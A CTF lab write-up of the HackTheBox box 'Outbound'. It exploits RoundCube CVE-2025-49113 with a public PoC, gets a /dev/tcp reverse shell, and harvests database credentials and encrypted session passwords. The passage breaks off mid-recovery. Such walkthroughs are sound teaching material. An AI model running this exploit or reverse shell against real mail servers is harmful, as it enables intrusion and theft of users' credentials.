Outbound

Outbound starts with a RoundCube instance and a set of creds to login. I’ll abuse a authenticated deserialization vulnerability to get remote code execution and a shell. From there, I’ll recover another user’s email password from the RoundCube database, showing both how to do it manually and using a RoundCube script. Finally, I’ll abuse a CVE in below to make the passwd file writable and get root. In Beyond Root, I’ll dig into the PHP exploit, showcase some neat CyberChef tricks, and play with the sudo rules on the box.

Box Info

Name Outbound Outbound
Play on HackTheBox
Release Date 12 Jul 2025
Retire Date 15 Nov 2025
OS Linux Linux
Base Points Easy [20]
Rated Difficulty Rated difficulty for Outbound
Radar Graph Radar chart for Outbound
First Blood User 00:21:55Coaran
First Blood Root 00:47:17manesec
Creator TheCyberGeek
Scenario As is common in real life pentests, you will start the Outbound box with credentials for the following account tyler / LhKL1o9Nm3X2

Recon

Initial Scanning

nmap finds two open TCP ports, SSH (22) and HTTP (80):

oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.10.11.77
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-11-11 17:03 UTC
...[snip]...
Nmap scan report for 10.10.11.77
Host is up, received reset ttl 63 (0.028s latency).
Scanned at 2025-11-11 17:03:06 UTC for 6s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 6.67 seconds
           Raw packets sent: 65602 (2.886MB) | Rcvd: 65536 (2.621MB)
oxdf@hacky$ nmap -p 22,80 -sCV 10.10.11.77
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-11-11 17:03 UTC
Nmap scan report for 10.10.11.77
Host is up (0.023s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_  256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://mail.outbound.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.36 seconds

Based on the OpenSSH and nginx versions, the host is likely running Ubuntu 24.04 noble LTS.

Both ports show a TTL of 63, which matches the expected TTL for Linux one hop away.

The webserver is redirecting traffic to mail.outbound.htb. I’ll use ffuf to fuzz for any subdomains of outbound.htb and mail.outbound.htb, but find nothing new. I’ll add this to my hosts file:

10.10.11.77 mail.outbound.htb

Initial Credentials

HackTheBox provides the following scenario associated with Outbound:

As is common in real life pentests, you will start the Outbound box with credentials for the following account tyler / LhKL1o9Nm3X2

The creds do not work for SSH:

oxdf@hacky$ netexec ssh 10.10.11.77 -u tyler -p 'LhKL1o9Nm3X2'
SSH         10.10.11.77     22     10.10.11.77      [*] SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.12
SSH         10.10.11.77     22     10.10.11.77      [-] tyler:LhKL1o9Nm3X2

I’ll keep them in mind for the website.

mail.outbound.htb - TCP 80

Site

Visiting mail.outbound.htb loads an instance of RoundCube:

image-20251111120949141

The given creds do work to log in:

image-20251111122213743Click for full size image

It’s an empty mailbox.

Tech Stack

In the page source, there is a rcversion variable set on line 45:

image-20251111121100704Click for full size image

If I visit the RoundCube website today, it’s offering 1.6.11:

image-20251111121452102

This is 1.6.10.

The HTTP response headers match what I would expect for RoundCube behind nginx:

HTTP/1.1 200 OK
Server: nginx/1.24.0 (Ubuntu)
Date: Tue, 11 Nov 2025 17:09:16 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Set-Cookie: roundcube_sessid=nh529cv87mroodbord8nc20kc1; path=/; HttpOnly
Expires: Tue, 11 Nov 2025 17:09:16 GMT
Last-Modified: Tue, 11 Nov 2025 17:09:16 GMT
Cache-Control: private, no-cache, no-store, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Frame-Options: sameorigin
Content-Language: en
Content-Length: 5327

Given that this is an open source application, there’s no need to directory brute force at least until I run out of other ideas.

Shell as www-data@mail

CVE-2025-49113

Identify

According to the RoundCube releases page, it looks like 1.6.10 released in Feb 2025 (well before outbound released on HTB in July 2025). The release page for the next (and current as of Outbound’s retiring) version, 1.6.11, shows it was patched because of an authenticated RCE vulnerability:

image-20251111122500634

Searching for “roundcube cve rce 1.6.10” finds a lot of references to CVE-2025-49113:

image-20251111122710372

Background

The NIST page for CVE-2025-49113 describes it as:

Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution by authenticated users because the _from parameter in a URL is not validated in program/actions/settings/upload.php, leading to PHP Object Deserialization.

This post from FearsOff shows how they discovered the vulnerability and provides all the technical details. It’s a PHP deserialization vulnerability where I can send a malicious serialized object through the image upload endpoint (used to attach photos to emails or set profile pictures). The trick is exploiting a session corruption bug: by manipulating the _from parameter and the uploaded filename, I can inject arbitrary data into the PHP session. Then the server deserializes my malicious object when it processes user preferences, triggering the __destruct() method which leads to RCE.

POC

I’ll find a POC (there are several). I like to find ones that were already published when the box was released, like this one from hakaioffsec. POCs for this will likely be PHP, as generating a PHP serialized object needs to be done in PHP. I’ll clone the repo:

oxdf@hacky$ git clone https://github.com/hakaioffsec/CVE-2025-49113-exploit.git
Cloning into 'CVE-2025-49113-exploit'...
remote: Enumerating objects: 9, done.
remote: Counting objects: 100% (9/9), done.
remote: Compressing objects: 100% (7/7), done.
remote: Total 9 (delta 1), reused 9 (delta 1), pack-reused 0 (from 0)
Receiving objects: 100% (9/9), 442.35 KiB | 4.51 MiB/s, done.
Resolving deltas: 100% (1/1), done.
oxdf@hacky$ php CVE-2025-49113.php 
### Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization [CVE-2025-49113]

### Usage: php CVE-2025-49113.php <target_url> <username> <password> <command>

It takes a target, username, password, and command. I’ll give it a run:

oxdf@hacky$ php CVE-2025-49113.php http://mail.outbound.htb tyler LhKL1o9Nm3X2 "id"
[+] Starting exploit (CVE-2025-49113)...
[*] Checking Roundcube version...
[*] Detected Roundcube version: 10610
[+] Target is vulnerable!
[+] Login successful!
[*] Exploiting...
[+] Gadget uploaded successfully!

It runs, and reports success, but doesn’t show the output. It looks to be a blind exploit. I’ll try again with ping, but that doesn’t send any ICMP my way. I’ll try with sleep:

oxdf@hacky$ time php CVE-2025-49113.php http://mail.outbound.htb tyler LhKL1o9Nm3X2 "id"
[+] Starting exploit (CVE-2025-49113)...
[*] Checking Roundcube version...
[*] Detected Roundcube version: 10610
[+] Target is vulnerable!
[+] Login successful!
[*] Exploiting...
[+] Gadget uploaded successfully!

real    0m0.346s
user    0m0.010s
sys     0m0.011s
oxdf@hacky$ time php CVE-2025-49113.php http://mail.outbound.htb tyler LhKL1o9Nm3X2 "sleep 5"
[+] Starting exploit (CVE-2025-49113)...
[*] Checking Roundcube version...
[*] Detected Roundcube version: 10610
[+] Target is vulnerable!
[+] Login successful!
[*] Exploiting...
[+] Gadget uploaded successfully!

real    0m5.344s
user    0m0.011s
sys     0m0.009s

With the sleep 5 it takes almost exactly five seconds longer! I’ll take a look at the generated payload in Beyond Root, but for now, that’s RCE.

Shell

I’ll replace the sleep 5 with a bash reverse shell:

oxdf@hacky$ php CVE-2025-49113.php http://mail.outbound.htb tyler LhKL1o9Nm3X2 "bash -c 'bash -i >& /dev/tcp/10.10.14.2/443 0>&1'"
[+] Starting exploit (CVE-2025-49113)...
[*] Checking Roundcube version...
[*] Detected Roundcube version: 10610
[+] Target is vulnerable!
[+] Login successful!
[*] Exploiting...

It hangs, but at my listening nc:

oxdf@hacky$ nc -nvlp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.77 33546
bash: cannot set terminal process group (248): Inappropriate ioctl for device
bash: no job control in this shell
www-data@mail:/$

I’ll upgrade my shell using the standard trick:

www-data@mail:/$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@mail:/$ ^Z
[1]+  Stopped                 nc -nvlp 443
oxdf@hacky$ stty raw -echo; fg
nc -nvlp 443
reset
reset: unknown terminal type unknown
Terminal type? screen
www-data@mail:/$ 

Shell as jacob

Enumeration

Container

The hostname is a hint that perhaps this is not the main host. The IP address is 172.17.0.2, which confirms this is a container:

www-data@mail:/$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0@if4: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 36:dd:45:62:a3:b5 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
       valid_lft forever preferred_lft forever

There’s also a .dockerenv file in the root of the filesystem:

www-data@mail:/$ ls -a
.                  boot  lib.usr-is-merged  proc                srv
..                 dev   lib64              root                sys
.dockerenv         etc   media              run                 tmp
bin                home  mnt                sbin                usr
bin.usr-is-merged  lib   opt                sbin.usr-is-merged  var

Users

There are three users with home directories in /home:

www-data@mail:/home$ ls
jacob  mel  tyler
www-data@mail:/home$ find . -type f
find: './jacob': Permission denied
find: './mel': Permission denied
find: './tyler': Permission denied

www-data can’t access any of them. Those three same users (plus root) have shells set in passwd:

www-data@mail:/$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
tyler:x:1000:1000::/home/tyler:/bin/bash
jacob:x:1001:1001::/home/jacob:/bin/bash
mel:x:1002:1002::/home/mel:/bin/bash

RoundCube

The RoundCube instance lives in /var/www/html/roundcube:

www-data@mail:/var/www/html/roundcube$ ls
CHANGELOG.md  SECURITY.md  composer.json  logs         skins
INSTALL       SQL          composer.lock  plugins      temp
LICENSE       UPGRADING    config         program      vendor
README.md     bin          index.php      public_html

In config, there’s a config.inc.php that contains the database connection information:

<?php

/*                                            
 +-----------------------------------------------------------------------+
 | Local configuration for the Roundcube Webmail installation.           |
 |                                                                       |
 | This is a sample configuration file only containing the minimum       |
 | setup required for a functional installation. Copy more options       |
 | from defaults.inc.php to this file to override the defaults.          |
 |                                                                       |
 | This file is part of the Roundcube Webmail client                     |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+
*/ 
                                                  
$config = [];                        
                                                  
// Database connection string (DSN) for read+write operations
// Format (compatible with PEAR MDB2): db_provider://user:password@host/database
// Currently supported db_providers: mysql, pgsql, sqlite, mssql, sqlsrv, oracle
// For examples see http://pear.php.net/manual/en/package.database.mdb2.intro-dsn.php
// NOTE: for SQLite use absolute path (Linux): 'sqlite:////full/path/to/sqlite.db?mode=0646'
//       or (Windows): 'sqlite:///C:/full/path/to/sqlite.db'
$config['db_dsnw'] = 'mysql://roundcube:RCDBPass2025@localhost/roundcube';

// IMAP host chosen to perform the log-in.
// See defaults.inc.php for the option description.
$config['imap_host'] = 'localhost:143';

// SMTP server host (for sending mails).
// See defaults.inc.php for the option description.
$config['smtp_host'] = 'localhost:587';

// SMTP username (if required) if you use %u as the username Roundcube
// will use the current username for login
$config['smtp_user'] = '%u';

// SMTP password (if required) if you use %p as the password Roundcube
// will use the current user's password for login
$config['smtp_pass'] = '%p';

// provide an URL where a user can get support for this Roundcube installation
// PLEASE DO NOT LINK TO THE ROUNDCUBE.NET WEBSITE HERE!
$config['support_url'] = '';

// Name your service. This is displayed on the login screen and in the window title
$config['product_name'] = 'Roundcube Webmail';

// This key is used to encrypt the users imap password which is stored
// in the session record. For the default cipher method it must be
// exactly 24 characters long.
// YOUR KEY MUST BE DIFFERENT THAN THE SAMPLE VALUE FOR SECURITY REASONS
$config['des_key'] = 'rcmail-!24ByteDESkey*Str';

// List of active plugins (in plugins/ directory)
$config['plugins'] = [
    'archive',
    'zipdownload',
];

// skin name: folder from skins/
$config['skin'] = 'elastic';
$config['default_host'] = 'localhost';
$config['smtp_server'] = 'localhost';

It’s a MySQL connection string with username, password, and database. I’ll connect to the DB and check it out:

www-data@mail:/$ mysql -u roundcube -pRCDBPass2025 roundcube
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 319
Server version: 10.11.13-MariaDB-0ubuntu0.24.04.1 Ubuntu 24.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [roundcube]>

The DB doesn’t have any other databases (at least not that this user can see):

MariaDB [roundcube]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| roundcube          |
+--------------------+
2 rows in set (0.001 sec)

There’s a handful of tables:

MariaDB [roundcube]> show tables;
+---------------------+
| Tables_in_roundcube |
+---------------------+
| cache               |
| cache_index         |
| cache_messages      |
| cache_shared        |
| cache_thread        |
| collected_addresses |
| contactgroupmembers |
| contactgroups       |
| contacts            |
| dictionary          |
| filestore           |
| identities          |
| responses           |
| searches            |
| session             |
| system              |
| users               |
+---------------------+
17 rows in set (0.000 sec)

RoundCube itself does not store password hashes for users. When a user logs in, it authenticates that user against the mail server using the provided credentials. However, RoundCube also stores an encrypted copy of the logged in user’s credentials in the session table so that it can maintain the connection to the mail server without pestering the user.

So the users table just has timestamps and preferences (including another serialized PHP object):

MariaDB [roundcube]> select * from users;  
+---------+----------+-----------+---------------------+---------------------+---------------------+----------------------+----------+-----------------------------------------------------------+
| user_id | username | mail_host | created             | last_login          | failed_login        | failed_login_counter | language | preferences                                               |
+---------+----------+-----------+---------------------+---------------------+---------------------+----------------------+----------+-----------------------------------------------------------+
|       1 | jacob    | localhost | 2025-06-07 13:55:18 | 2025-06-11 07:52:49 | 2025-06-11 07:51:32 |                    1 | en_US    | a:1:{s:11:"client_hash";s:16:"hpLLqLwmqbyihpi7";}         |
|       2 | mel      | localhost | 2025-06-08 12:04:51 | 2025-06-08 13:29:05 | NULL                |                 NULL | en_US    | a:1:{s:11:"client_hash";s:16:"GCrPGMkZvbsnc3xv";}         |
|       3 | tyler    | localhost | 2025-06-08 13:28:55 | 2025-11-11 18:33:16 | 2025-11-11 18:02:17 |                    1 | en_US    | a:2:{s:11:"client_hash";s:16:"x66eeQ3I7IxsdjSK";i:0;b:0;} |
+---------+----------+-----------+---------------------+---------------------+---------------------+----------------------+----------+-----------------------------------------------------------+
3 rows in set (0.000 sec)

The session table has the vars column:

MariaDB [roundcube]> select * from session \G;
*************************** 1. row ***************************
sess_id: 07nn7igctgaullv65n0inrgrim
changed: 2025-11-11 18:33:17
     ip: 172.17.0.1
   vars: bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo0OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjA6IiI7aToxO3M6MToiLyI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6MTA6InByZWZpeF9vdXQiO3M6MDoiIjt9aW1hcF9kZWxpbWl0ZXJ8czoxOiIvIjtpbWFwX2xpc3RfY29uZnxhOjI6e2k6MDtOO2k6MTthOjA6e319dXNlcl9pZHxpOjM7dXNlcm5hbWV8czo1OiJ0eWxlciI7c3RvcmFnZV9ob3N0fHM6OToibG9jYWxob3N0IjtzdG9yYWdlX3BvcnR8aToxNDM7c3RvcmFnZV9zc2x8YjowO3Bhc3N3b3JkfHM6MzI6ImhjVkNTTlhPWWdVWHZoQXJuMWExT0hKdERjaytDRk1FIjtsb2dpbl90aW1lfGk6MTc2Mjg4NTk5Njt0aW1lem9uZXxzOjM6IlVUQyI7U1RPUkFHRV9TUEVDSUFMLVVTRXxiOjE7YXV0aF9zZWNyZXR8czoyNjoiSzBRSTZmeHV0ZWFuNm5aSFl1MDU4WGl5MU8iO3JlcXVlc3RfdG9rZW58czozMjoic1JkNjZrQXhMbmJjQjZaTUZzZENiMnc3SDFzektwWm0iO3Rhc2t8czo0OiJtYWlsIjtza2luX2NvbmZpZ3xhOjc6e3M6MTc6InN1cHBvcnRlZF9sYXlvdXRzIjthOjE6e2k6MDtzOjEwOiJ3aWRlc2NyZWVuIjt9czoyMjoianF1ZXJ5X3VpX2NvbG9yc190aGVtZSI7czo5OiJib290c3RyYXAiO3M6MTg6ImVtYmVkX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTk6ImVkaXRvcl9jc3NfbG9jYXRpb24iO3M6MTc6Ii9zdHlsZXMvZW1iZWQuY3NzIjtzOjE3OiJkYXJrX21vZGVfc3VwcG9ydCI7YjoxO3M6MjY6Im1lZGlhX2Jyb3dzZXJfY3NzX2xvY2F0aW9uIjtzOjQ6Im5vbmUiO3M6MjE6ImFkZGl0aW9uYWxfbG9nb190eXBlcyI7YTozOntpOjA7czo0OiJkYXJrIjtpOjE7czo1OiJzbWFsbCI7aToyO3M6MTA6InNtYWxsLWRhcmsiO319aW1hcF9ob3N0fHM6OToibG9jYWxob3N0IjtwYWdlfGk6MTttYm94fHM6NToiSU5CT1giO3NvcnRfY29sfHM6MDoiIjtzb3J0X29yZGVyfHM6NDoiREVTQyI7U1RPUkFHRV9USFJFQUR8YTozOntpOjA7czoxMDoiUkVGRVJFTkNFUyI7aToxO3M6NDoiUkVGUyI7aToyO3M6MTQ6Ik9SREVSRURTVUJKRUNUIjt9U1RPUkFHRV9RVU9UQXxiOjA7U1RPUkFHRV9MSVNULUVYVEVOREVEfGI6MTtsaXN0X2F0dHJpYnxhOjY6e3M6NDoibmFtZSI7czo4OiJtZXNzYWdlcyI7czoyOiJpZCI7czoxMToibWVzc2FnZWxpc3QiO3M6NToiY2xhc3MiO3M6NDI6Imxpc3RpbmcgbWVzc2FnZWxpc3Qgc29ydGhlYWRlciBmaXhlZGhlYWRlciI7czoxNToiYXJpYS1sYWJlbGxlZGJ5IjtzOjIyOiJhcmlhLWxhYmVsLW1lc3NhZ2VsaXN0IjtzOjk6ImRhdGEtbGlzdCI7czoxMjoibWVzc2FnZV9saXN0IjtzOjE0OiJkYXRhLWxhYmVsLW1zZyI7czoxODoiVGhlIGxpc3QgaXMgZW1wdHkuIjt9dW5zZWVuX2NvdW50fGE6MTp7czo1OiJJTkJPWCI7aTowO30=
*************************** 2. row ***************************
sess_id: 6a5ktqih5uca6lj8vrmgh9v0oh
changed: 2025-06-08 15:46:40
     ip: 172.17.0.1
   vars: bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo0OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjA6IiI7aToxO3M6MToiLyI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6MTA6InByZWZpeF9vdXQiO3M6MDoiIjt9aW1hcF9kZWxpbWl0ZXJ8czoxOiIvIjtpbWFwX2xpc3RfY29uZnxhOjI6e2k6MDtOO2k6MTthOjA6e319dXNlcl9pZHxpOjE7dXNlcm5hbWV8czo1OiJqYWNvYiI7c3RvcmFnZV9ob3N0fHM6OToibG9jYWxob3N0IjtzdG9yYWdlX3BvcnR8aToxNDM7c3RvcmFnZV9zc2x8YjowO3Bhc3N3b3JkfHM6MzI6Ikw3UnYwMEE4VHV3SkFyNjdrSVR4eGNTZ25JazI1QW0vIjtsb2dpbl90aW1lfGk6MTc0OTM5NzExOTt0aW1lem9uZXxzOjEzOiJFdXJvcGUvTG9uZG9uIjtTVE9SQUdFX1NQRUNJQUwtVVNFfGI6MTthdXRoX3NlY3JldHxzOjI2OiJEcFlxdjZtYUk5SHhETDVHaGNDZDhKYVFRVyI7cmVxdWVzdF90b2tlbnxzOjMyOiJUSXNPYUFCQTF6SFNYWk9CcEg2dXA1WEZ5YXlOUkhhdyI7dGFza3xzOjQ6Im1haWwiO3NraW5fY29uZmlnfGE6Nzp7czoxNzoic3VwcG9ydGVkX2xheW91dHMiO2E6MTp7aTowO3M6MTA6IndpZGVzY3JlZW4iO31zOjIyOiJqcXVlcnlfdWlfY29sb3JzX3RoZW1lIjtzOjk6ImJvb3RzdHJhcCI7czoxODoiZW1iZWRfY3NzX2xvY2F0aW9uIjtzOjE3OiIvc3R5bGVzL2VtYmVkLmNzcyI7czoxOToiZWRpdG9yX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTc6ImRhcmtfbW9kZV9zdXBwb3J0IjtiOjE7czoyNjoibWVkaWFfYnJvd3Nlcl9jc3NfbG9jYXRpb24iO3M6NDoibm9uZSI7czoyMToiYWRkaXRpb25hbF9sb2dvX3R5cGVzIjthOjM6e2k6MDtzOjQ6ImRhcmsiO2k6MTtzOjU6InNtYWxsIjtpOjI7czoxMDoic21hbGwtZGFyayI7fX1pbWFwX2hvc3R8czo5OiJsb2NhbGhvc3QiO3BhZ2V8aToxO21ib3h8czo1OiJJTkJPWCI7c29ydF9jb2x8czowOiIiO3NvcnRfb3JkZXJ8czo0OiJERVNDIjtTVE9SQUdFX1RIUkVBRHxhOjM6e2k6MDtzOjEwOiJSRUZFUkVOQ0VTIjtpOjE7czo0OiJSRUZTIjtpOjI7czoxNDoiT1JERVJFRFNVQkpFQ1QiO31TVE9SQUdFX1FVT1RBfGI6MDtTVE9SQUdFX0xJU1QtRVhURU5ERUR8YjoxO2xpc3RfYXR0cmlifGE6Njp7czo0OiJuYW1lIjtzOjg6Im1lc3NhZ2VzIjtzOjI6ImlkIjtzOjExOiJtZXNzYWdlbGlzdCI7czo1OiJjbGFzcyI7czo0MjoibGlzdGluZyBtZXNzYWdlbGlzdCBzb3J0aGVhZGVyIGZpeGVkaGVhZGVyIjtzOjE1OiJhcmlhLWxhYmVsbGVkYnkiO3M6MjI6ImFyaWEtbGFiZWwtbWVzc2FnZWxpc3QiO3M6OToiZGF0YS1saXN0IjtzOjEyOiJtZXNzYWdlX2xpc3QiO3M6MTQ6ImRhdGEtbGFiZWwtbXNnIjtzOjE4OiJUaGUgbGlzdCBpcyBlbXB0eS4iO311bnNlZW5fY291bnR8YToyOntzOjU6IklOQk9YIjtpOjI7czo1OiJUcmFzaCI7aTowO31mb2xkZXJzfGE6MTp7czo1OiJJTkJPWCI7YToyOntzOjM6ImNudCI7aToyO3M6NjoibWF4dWlkIjtpOjM7fX1saXN0X21vZF9zZXF8czoyOiIxMCI7
2 rows in set (0.000 sec)

The first row matches the cookie from my browser:

image-20251111133559570

The other one is there but quite old. If I try to set that in my browser, it just redirects to the login screen with the following error:

image-20251111133656889

Recover Password

Find Encrypted Password

I’ll start with tyler because I know the password I’m looking for. When I find it, I can repeat the process with the other session.

I’ll take the vars entry for my session and base64 decode it:

oxdf@hacky$ echo "bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo0OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjA6IiI7aToxO3M6MToiLyI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6MTA6InByZWZpeF9vdXQiO3M6MDoiIjt9aW1hcF9kZWxpbWl0ZXJ8czoxOiIvIjtpbWFwX2xpc3RfY29uZnxhOjI6e2k6MDtOO2k6MTthOjA6e319dXNlcl9pZHxpOjM7dXNlcm5hbWV8czo1OiJ0eWxlciI7c3RvcmFnZV9ob3N0fHM6OToibG9jYWxob3N0IjtzdG9yYWdlX3BvcnR8aToxNDM7c3RvcmFnZV9zc2x8YjowO3Bhc3N3b3JkfHM6MzI6ImhjVkNTTlhPWWdVWHZoQXJuMWExT0hKdERjaytDRk1FIjtsb2dpbl90aW1lfGk6MTc2Mjg4NTk5Njt0aW1lem9uZXxzOjM6IlVUQyI7U1RPUkFHRV9TUEVDSUFMLVVTRXxiOjE7YXV0aF9zZWNyZXR8czoyNjoiSzBRSTZmeHV0ZWFuNm5aSFl1MDU4WGl5MU8iO3JlcXVlc3RfdG9rZW58czozMjoic1JkNjZrQXhMbmJjQjZaTUZzZENiMnc3SDFzektwWm0iO3Rhc2t8czo0OiJtYWlsIjtza2luX2NvbmZpZ3xhOjc6e3M6MTc6InN1cHBvcnRlZF9sYXlvdXRzIjthOjE6e2k6MDtzOjEwOiJ3aWRlc2NyZWVuIjt9czoyMjoianF1ZXJ5X3VpX2NvbG9yc190aGVtZSI7czo5OiJib290c3RyYXAiO3M6MTg6ImVtYmVkX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTk6ImVkaXRvcl9jc3NfbG9jYXRpb24iO3M6MTc6Ii9zdHlsZXMvZW1iZWQuY3NzIjtzOjE3OiJkYXJrX21vZGVfc3VwcG9ydCI7YjoxO3M6MjY6Im1lZGlhX2Jyb3dzZXJfY3NzX2xvY2F0aW9uIjtzOjQ6Im5vbmUiO3M6MjE6ImFkZGl0aW9uYWxfbG9nb190eXBlcyI7YTozOntpOjA7czo0OiJkYXJrIjtpOjE7czo1OiJzbWFsbCI7aToyO3M6MTA6InNtYWxsLWRhcmsiO319aW1hcF9ob3N0fHM6OToibG9jYWxob3N0IjtwYWdlfGk6MTttYm94fHM6NToiSU5CT1giO3NvcnRfY29sfHM6MDoiIjtzb3J0X29yZGVyfHM6NDoiREVTQyI7U1RPUkFHRV9USFJFQUR8YTozOntpOjA7czoxMDoiUkVGRVJFTkNFUyI7aToxO3M6NDoiUkVGUyI7aToyO3M6MTQ6Ik9SREVSRURTVUJKRUNUIjt9U1RPUkFHRV9RVU9UQXxiOjA7U1RPUkFHRV9MSVNULUVYVEVOREVEfGI6MTtsaXN0X2F0dHJpYnxhOjY6e3M6NDoibmFtZSI7czo4OiJtZXNzYWdlcyI7czoyOiJpZCI7czoxMToibWVzc2FnZWxpc3QiO3M6NToiY2xhc3MiO3M6NDI6Imxpc3RpbmcgbWVzc2FnZWxpc3Qgc29ydGhlYWRlciBmaXhlZGhlYWRlciI7czoxNToiYXJpYS1sYWJlbGxlZGJ5IjtzOjIyOiJhcmlhLWxhYmVsLW1lc3NhZ2VsaXN0IjtzOjk6ImRhdGEtbGlzdCI7czoxMjoibWVzc2FnZV9saXN0IjtzOjE0OiJkYXRhLWxhYmVsLW1zZyI7czoxODoiVGhlIGxpc3QgaXMgZW1wdHkuIjt9dW5zZWVuX2NvdW50fGE6MTp7czo1OiJJTkJPWCI7aTowO30=" | base64 -d
language|s:5:"en_US";imap_namespace|a:4:{s:8:"personal";a:1:{i:0;a:2:{i:0;s:0:"";i:1;s:1:"/";}}s:5:"other";N;s:6:"shared";N;s:10:"prefix_out";s:0:"";}imap_delimiter|s:1:"/";imap_list_conf|a:2:{i:0;N;i:1;a:0:{}}user_id|i:3;username|s:5:"tyler";storage_host|s:9:"localhost";storage_port|i:143;storage_ssl|b:0;password|s:32:"hcVCSNXOYgUXvhArn1a1OHJtDck+CFME";login_time|i:1762885996;timezone|s:3:"UTC";STORAGE_SPECIAL-USE|b:1;auth_secret|s:26:"K0QI6fxutean6nZHYu058Xiy1O";request_token|s:32:"sRd66kAxLnbcB6ZMFsdCb2w7H1szKpZm";task|s:4:"mail";skin_config|a:7:{s:17:"supported_layouts";a:1:{i:0;s:10:"widescreen";}s:22:"jquery_ui_colors_theme";s:9:"bootstrap";s:18:"embed_css_location";s:17:"/styles/embed.css";s:19:"editor_css_location";s:17:"/styles/embed.css";s:17:"dark_mode_support";b:1;s:26:"media_browser_css_location";s:4:"none";s:21:"additional_logo_types";a:3:{i:0;s:4:"dark";i:1;s:5:"small";i:2;s:10:"small-dark";}}imap_host|s:9:"localhost";page|i:1;mbox|s:5:"INBOX";sort_col|s:0:"";sort_order|s:4:"DESC";STORAGE_THREAD|a:3:{i:0;s:10:"REFERENCES";i:1;s:4:"REFS";i:2;s:14:"ORDEREDSUBJECT";}STORAGE_QUOTA|b:0;STORAGE_LIST-EXTENDED|b:1;list_attrib|a:6:{s:4:"name";s:8:"messages";s:2:"id";s:11:"messagelist";s:5:"class";s:42:"listing messagelist sortheader fixedheader";s:15:"aria-labelledby";s:22:"aria-label-messagelist";s:9:"data-list";s:12:"message_list";s:14:"data-label-msg";s:18:"The list is empty.";}unseen_count|a:1:{s:5:"INBOX";i:0;}

It’s a serialized PHP object. Most items take a format similar to <key>|s:<length>:<value>. To look at each item, I’ll replace the “;” with newlines:

